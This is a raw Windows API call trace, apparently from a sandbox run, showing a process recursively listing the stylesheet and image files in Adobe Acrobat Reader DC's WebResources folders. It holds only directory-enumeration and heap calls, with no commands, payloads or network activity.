	[0163.601] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="files", cAlternateFileName="")) returned 1
	[0163.601] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45ecde8
	[0163.601] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files") returned 93
	[0163.601] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\*", lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddb40
	[0163.602] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.602] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 1
	[0163.602] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x45fcdf0
	[0163.602] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev") returned 97
	[0163.602] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\*", lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dde40
	[0163.603] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.603] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cef", cAlternateFileName="")) returned 1
	[0163.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0163.603] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef") returned 101
	[0163.603] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\cef\\*", lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0163.603] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.603] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0163.603] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0163.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0163.603] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 1
	[0163.603] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x464ffb8
	[0163.604] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs") returned 102
	[0163.604] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\css\\files\\dev\\libs\\*", lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0163.604] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0163.604] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x41be1a4 | out: lpFindFileData=0x41be1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0
	[0163.604] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0163.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x464ffb8 | out: hHeap=0x4f0000) returned 1
	[0163.604] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x41be420 | out: lpFindFileData=0x41be420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="libs", cAlternateFileName="")) returned 0
	[0163.604] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0163.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45fcdf0 | out: hHeap=0x4f0000) returned 1
	[0163.604] FindNextFileW (in: hFindFile=0x5ddb40, lpFindFileData=0x41be69c | out: lpFindFileData=0x41be69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0163.604] FindClose (in: hFindFile=0x5ddb40 | out: hFindFile=0x5ddb40) returned 1
	[0163.607] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45ecde8 | out: hHeap=0x4f0000) returned 1
	[0163.612] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-mac.css", cAlternateFileName="MAIN-C~2.CSS")) returned 1
	[0163.612] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x9d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-ui-theme.css", cAlternateFileName="MAIN-C~3.CSS")) returned 1
	[0163.613] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x369ad2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x369ad2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x369ad2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x263a, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win.css", cAlternateFileName="MAIN-C~4.CSS")) returned 1
	[0163.613] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2169, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef-win8.css", cAlternateFileName="MAIN-C~1.CSS")) returned 1
	[0163.613] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3415d2d, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3415d2d, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3415d2d, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xcb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-cef.css", cAlternateFileName="")) returned 1
	[0163.613] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x22514, dwReserved0=0x0, dwReserved1=0x0, cFileName="main-high-contrast.css", cAlternateFileName="MAIN-H~1.CSS")) returned 1
	[0163.613] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x28f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 1
	[0163.613] FindNextFileW (in: hFindFile=0x5ddc80, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3674adb, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3674adb, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3674adb, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x28f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.css", cAlternateFileName="")) returned 0
	[0163.613] FindClose (in: hFindFile=0x5ddc80 | out: hFindFile=0x5ddc80) returned 1
	[0163.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45dcde0 | out: hHeap=0x4f0000) returned 1
	[0163.809] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x41beb94 | out: lpFindFileData=0x41beb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="images", cAlternateFileName="")) returned 1
	[0163.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46903c0
	[0163.864] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images") returned 90
	[0163.864] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\images\\*", lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd800
	[0163.867] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.869] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a85, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner.gif", cAlternateFileName="A12_SP~4.GIF")) returned 1
	[0163.869] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3b29, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_2x.gif", cAlternateFileName="A12_SP~3.GIF")) returned 1
	[0163.869] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1a3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int.gif", cAlternateFileName="A12_SP~1.GIF")) returned 1
	[0163.869] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4038, dwReserved0=0x0, dwReserved1=0x0, cFileName="A12_Spinner_int_2x.gif", cAlternateFileName="A12_SP~2.GIF")) returned 1
	[0163.869] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1
	[0163.869] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner.gif", cAlternateFileName="ADOBE_~1.GIF")) returned 1
	[0163.870] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner_mini.gif", cAlternateFileName="ADOBE_~2.GIF")) returned 1
	[0163.870] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x12a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-114x114-precomposed.png", cAlternateFileName="APPLE-~2.PNG")) returned 1
	[0163.870] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6955c5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6955c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6955c5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x235b, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-144x144-precomposed.png", cAlternateFileName="APPLE-~1.PNG")) returned 1
	[0163.870] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-57x57-precomposed.png", cAlternateFileName="APPLE-~3.PNG")) returned 1
	[0163.870] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="apple-touch-icon-72x72-precomposed.png", cAlternateFileName="APPLE-~4.PNG")) returned 1
	[0163.870] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee6bb82b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee6bb82b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee6bb82b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x84a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud.png", cAlternateFileName="")) returned 1
	[0163.870] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee66f38b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee66f38b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee66f38b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3181, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccloud_retina.png", cAlternateFileName="CCLOUD~1.PNG")) returned 1
	[0163.870] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x41be918 | out: lpFindFileData=0x41be918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee77a392, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee77a392, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee77a392, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x132, dwReserved0=0x0, dwReserved1=0x0, cFileName="close_x.png", cAlternateFileName="")) returned 1
